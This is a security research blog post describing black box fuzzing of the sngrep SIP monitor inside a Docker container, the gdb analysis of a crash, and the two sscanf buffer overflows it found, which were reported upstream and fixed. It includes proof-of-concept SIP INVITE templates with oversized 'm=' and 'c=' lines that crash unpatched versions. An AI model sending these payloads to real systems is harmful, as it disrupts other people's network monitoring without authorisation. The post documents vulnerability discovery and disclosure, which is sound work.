Executive summary (TL;DR)
During OpenSIPIt, we crashed sngrep by mistake while briefly fuzzing OpenSIPS. Later on we setup a docker environment to reproduce the issue, identified the actual bugs and reported them upstream. If you want to learn the simple steps to do this, you actually have to read the rest of the post :-)
sngrep crash during the live OpenSIPit event
Last year we participated in OpenSIPIt’s interoperability testing event which was held between the 14th and 15th of September 2020. Amongst the topics discussed were RFC8760 (SHA-digest), STIR/SHAKEN and RFC8599 (push notifications). Whilst trying to stick to the agenda, we couldn’t resist the temptation to fuzz test the servers that were available to us. An instance of OpenSIPS was tested for a very short period of time, however, we did not observe any server crashes.
But we did notice a crash somewhere else. Traffic was being monitored by the handy (and invaluable) little tool sngrep, which, during these tests was exiting abnormally at random times. One of these moments can also be seen on Youtube.
These random crashes prompted us to perform further fuzz testing against sngrep using SIPVicious PRO, which now includes black box fuzzing capabilities specific to SIP and VOIP systems.
Setup a test environment to fuzz sngrep
Since sngrep is relatively easy to build and setup, we thought that it could be used as the perfect example of how we build and test systems in isolation, for the discovery of potential security issues. By showing our methodologies, in this case, black box fuzzing, we aim to inspire system implementers, developers and vendors to include offensive techniques in their testing.
In this particular case, we commenced by creating a Docker image containing a compiled version of sngrep. The binary was compiled using the flag -g, which enables debugging, so that it was easier to analyze any crashes that occur. This can also allow testers to add breakpoints and step through the code of a target application with debugging tools such as gdb.
FROM ubuntu:18.04
RUN apt-get update
RUN apt-get install -y build-essential gdb git autoconf \
libpcap-dev libncurses5-dev
ARG sngrep_version
RUN git clone https://github.com/irontec/sngrep
WORKDIR sngrep
RUN git checkout ${sngrep_version}
RUN ./bootstrap.sh && \
./configure && \
make CFLAGS="-g"
WORKDIR src
ENTRYPOINT [ "gdb", "-ex", "run", "./sngrep" ]
The Docker image was created using:
#!/bin/bash
sngrep_version=v1.4.7
docker build \
--build-arg sngrep_version=$sngrep_version \
-t sngrep-docker:$sngrep_version .
And then a container was spun up by running:
docker run -p5060:5060/udp --rm -it sngrep-docker:v1.4.7
Once the container was up and running, it was time for some SIPVicious PRO fun using its sip fuzzing tool.
The following command executed for a few seconds, and resulted in the first crash!
sipvicious sip fuzz method udp://127.0.0.1:5060 --method invite
The following is one of the many backtraces that were gathered from gdb:
(gdb) bt
#0 __strncmp_sse42 () at
../sysdeps/x86_64/multiarch/strcmp-sse42.S:270
#1 0x000055c37b317c48 in sip_parse_msg_media (msg=0x7f3f2c0a8b00,
payload=0x7f3f31bacc60 "INVITE sip:A6yuMilN@127.0.0.1:5060 SIP/2.0\r\n
Via: SIP/2.0/UDP 127.0.0.1:51648;rport;branch=z9hG4bK-sEiGinnRV6XxB2WN\r\n
Max-Forwards: 70\r\nFrom: <sip:rWZtALxY@127.0.0.1:5060>;tag=n2bknviglxWhH4ja\r\n
To: <sip"...) at sip.c:724
#2 0x000055c37b316fdb in sip_check_packet (packet=0x7f3f2c0a8700) at sip.c:426
#3 0x000055c37b31556e in capture_packet_parse (packet=0x7f3f2c0a8700) at capture.c:807
#4 0x000055c37b314674 in parse_packet (info=0x55c37cdf8a20 "\001",
header=0x7f3f31bb4db0, packet=0x7f3f31c01d6c "") at capture.c:370
#5 0x00007f3f325d00b6 in ?? () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#6 0x00007f3f325d0d64 in ?? () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#7 0x00007f3f325d8b3d in pcap_loop () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#8 0x000055c37b315759 in capture_thread (info=0x55c37cdf8a20) at capture.c:885
#9 0x00007f3f323b26db in start_thread (arg=0x7f3f31bb5700) at pthread_create.c:463
#10 0x00007f3f320dba3f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Manual code review and actual testing
By looking at the code of the function sip_parse_msg_media, we noticed that there were two instances where the function sscanf was being used to read strings into fixed sized arrays. The first issue occurred while populating the variable media_type.
if (sscanf(line, "m=%s %hu RTP/%*s %u", media_type, &dst.port, &media_fmt_pref) == 3
|| sscanf(line, "m=%s %hu UDP/%*s %u", media_type, &dst.port, &media_fmt_pref) == 3) {
The second issue occurred when populating the member ip of the structure instance dst, which is an array of characters of fixed size 16.
if (sscanf(line, "c=IN IP4 %s", dst.ip) && media) {
In order to confirm these issues, we used SIPVicious PRO’s repeater tool. The following SIPVicious template was saved to inviterequest.tpl:
INVITE sip:bob@127.0.0.1:5060 SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:40111;rport;branch=z9hG4bK-a
Max-Forwards: 70
From: {{.FromVal}}
To: {{.ToVal}}
Call-ID: {{.CallID}}
CSeq: {{.CSeq}} INVITE
Contact: {{.ContactVal}}
Content-Length: 1
Content-Type: application/sdp
v=0
o=- 1600157102 1600157102 IN IP4 127.0.0.1
s=-
c=IN IP4 127.0.0.1
t=0 0
m=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 9999 RTP/AVP 8
a=rtpmap:8 PCMA/8000/1
a=sendrecv
And then SIPVicious PRO was executed against the docker container:
sipvicious sip utils repeater udp://127.0.0.1:5060 --method invite
Similarly, the second issue was confirmed by setting the inviterequest.tpl template to:
INVITE sip:bob@127.0.0.1:5060 SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:40111;rport;branch=z9hG4bK-a
Max-Forwards: 70
From: {{.FromVal}}
To: {{.ToVal}}
Call-ID: {{.CallID}}
CSeq: {{.CSeq}} INVITE
Contact: {{.ContactVal}}
Content-Length: 1
Content-Type: application/sdp
v=0
o=- 1600157102 1600157102 IN IP4 127.0.0.1
s=-
c=IN IP4 127.0.0.11111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111
t=0 0
m=audio 9999 RTP/AVP 8
a=rtpmap:8 PCMA/8000/1
a=sendrecv
And running SIPVicious PRO again:
sipvicious sip utils repeater udp://127.0.0.1:5060 --method invite
Reporting the issues upstream
Once the issues were consistently reproduced, we contacted irontec via github:
Irontec started working on these issues immediately and officially released a fix in version 1.4.8.
Conclusion
This concludes the explanation of how we perform black box fuzzing against a target. This simple, yet effective technique has helped us uncover multiple bugs in both open source and proprietary, closed source solutions, which we usually attack during penetration tests.
Summary of our testing methodology:
- Use Docker to build and run the target application in isolation (optional)
- Compile the target application with debug information and no optimization (optional)
- Fuzz the application using tools such as SIPVicious PRO
- When a crash occurs, retrieve the backtrace from
gdb - Identify the code causing the crash
- Produce a script which consistently reproduces the bug
- Report!
